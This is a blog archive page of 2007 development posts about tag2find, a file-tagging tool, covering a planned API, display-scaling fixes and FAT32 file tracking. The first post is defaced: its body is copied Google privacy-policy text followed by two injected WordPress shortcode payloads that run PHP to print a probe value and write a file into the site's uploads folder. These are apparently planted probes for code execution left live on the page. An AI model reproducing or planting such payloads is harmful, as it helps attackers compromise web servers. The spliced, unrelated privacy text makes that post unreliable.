Archive for the 'development' Category

Please hold the line…

Thursday, October 18th, 2007

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

tag2find API to come sooner

Thursday, September 27th, 2007

Many people have requested an API for interacting with tag2find from external sources (in both our forum and via e-mail). We think this is important but we always wanted to do it once we could provide a stable API, one which would not change and break other applications in subsequent releases. Therefore we always pushed the API back until we are able to ship a non-preview version. Well, as people are already interacting with tag2find without the API (see article in our forum for an importer of Picasa labels to tag2find, I’m very impressed!), we became even more aware how important the API is.

Therefore we will change our development plans in two ways: first, we will work to provide an API as soon as possible. Second, we want to make it available for the current 0.10 version, despite our initial plans to provide new features only in the Next Generation. Reason for also providing the API for 0.10 is, that we will go into limited testing of Next Generation within the next few weeks, but it will be available to the public only later on, once we are pleased with quality. But we do want to provide developers sooner with the API, as we see how urgent it is demanded.

We will keep you updated on the API and provide a quick overview of the possibilities for other developers within the next week.

You are using 96dpi? You are my friend!

Friday, June 29th, 2007

stop.jpgWe spent the last few days resolving an issue which we never realized we had: support for “large fonts” setting, i.e. resolution other than 96dpi. Today more and more users are switching to 120dpi because even small notebooks have very high screen resolution and reading a small font on a small screen is not very comfortable.

Unfortunately, we never tested tag2find in other resolution settings than the default, primarily because we personally did not have a need for it. We came around this when we realized that the Configuration Wizard bug reported to us several times was directly linked to the selected font resolution. Once we switched, we got a shock: tag2find was unusable at settings other than 96dpi. The user interface was completely broken and several components were inaccessible because they were not drawn at all…

One should think that Microsoft .NET provides some support here… Well, it does, but unfortunately central parts of its layouting engine only work reliably if you work at 96dpi. After almost three days of development we finally made it to get the UI working for modes other than 96dpi, almost without glitches. Some final issues need to be resolved, then we are going to publish a new version with the fixes included.

The Road to FAT32 Support

Thursday, June 21st, 2007

SD-Card + MemoryStick (Teaser)Yesterday, our intern Sebastian Putscher had a breakthrough in prototyping FAT32 support. He was able to implement a basic FAT32 file-tracking algorithm which was able to reliably detect copies, renames and movements of files on a volume. What’s also working now is detection of copies between NTFS and FAT32 volumes.

The developed code is still in an early stage and by far not suitable for release, but it is a great breakthrough. I personally want to congratulate Sebastian for his success! The developed prototype now needs to be transformed into release-quality code, especially regarding CPU, memory and I/O load. This will take some time, but as you can see, we are clearly on the track.

So, why is FAT32 support that important? Well, because most external devices (USB memory sticks, SD-cards, just to name two) are formatted with FAT32 and not NTFS. Of course our goal here at tag2find is also to support those external media and support for FAT32 is important.

So, you may ask, why is FAT32 support so difficult to implement? As I have pointed out in some forum posts, the main problem is that there is no way of sticking additional data to FAT32 files. So we cannot reliably identify files once they are copied or moved around. For us, tag2find is not only a tool for finding things in a static environment, where files are left in the same place once they are tagged. We strongly believe, that the main advantage of tag2find is that you become independent of the location and name of a file. So for us it is important that we can track files as they move around and reflect those changes in realtime when performing a search.

A very basic approach where tags do not stick to a file, and the tags are lost once a file is renamed, moved, or copied could be implemented very fast. We don’t believe it is sensible, though. Tell us, if we are wrong!